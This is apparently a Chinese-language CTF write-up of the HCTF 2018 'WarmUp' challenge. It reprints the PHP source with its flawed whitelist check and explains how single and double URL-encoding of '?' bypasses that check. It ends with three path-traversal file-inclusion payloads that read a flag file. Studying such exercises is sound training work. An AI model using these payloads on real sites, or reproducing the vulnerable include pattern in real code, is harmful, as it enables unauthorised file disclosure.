#[HCTF 2018]WarmUp 1学习笔记 最近做了做ctf,觉得真的很有趣,后悔当初没早点做,不过之前的学习也让我得到了不少经验基础,废话不多说,这次ctf虽然基本上靠了网上的大佬们(因为比较菜),但自己也做了些思考,应该对新手也比较友好吧。
##1 首先怎么找源码,我承认我确实刚开始不知道在哪找,不过也很快找到了,相信也会有部分新手和我差不多吧
然后下面控制台会有个temp0,然后直接回车
后面我就受到启发,直接在链接后面加上source.php,进行页面跳转,然后就可以开始PHP代码审计了。 这里会用到几个函数,我放个链接吧,感觉里面讲的挺好的 in_array mb_strpos mb_substr include ##2
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);/* 这里返回page中?之前的值,若没有?,否则通过加上?($page . '?',这段代码的意思是在page末尾加上?)来返回全部的page*/
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含:
1 REQUEST['file']不为空
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/
?>
正如我们看到的这里必须要有一个if能返回true,我们才能获取flag。 1、首先我看到代码开头有个hint.php文件,我们可以看看,就将链接后缀改一下,进去看到会是这样 2、这时我们文件的名字,所以我们可以通过/…/ 的方式来试文件在哪,当然有点耗时,不过还好,不算麻烦,所有我们该怎样将文件后缀加上链接里 3、所以就看到if,第一个if返回false,所以不用看,第二个if判断page是否在白名单中,因为我们要加ffffllllaaaagggg文件,所以不能用,第三个if中,先对page进行截断,内容为?前的内容,因为我们要通过?file=…的方式传参获取ffffllllaaaagggg文件,所以我们加上的?然后再加上目标文件,所以可以能用,第四个也可以用,在传参前进行一次URL解码,然后再在服务器端解一次码,所以对?进行一次编码后可以用,而且对?进行两次编码也可用,因为我的理解为在传参的时候对已经为最终信息的数据是不会在译码,所以对?进行一次编码后传参后,因为译码后变为?,可以用第3个if返回true,对?进行2次编码后传参,在服务器进行一次译码,然后再在PHP中进行一次译码,通过第4个if可返回true。 ? ?一次译码%3F ?二次译码%253F 下面为三种playload ?file=hint.php?../…/…/…/…/ffffllllaaaagggg
?file=hint.php%3F…/…/…/…/…/ffffllllaaaagggg ?file=hint.php%253F…/…/…/…/…/ffffllllaaaagggg
|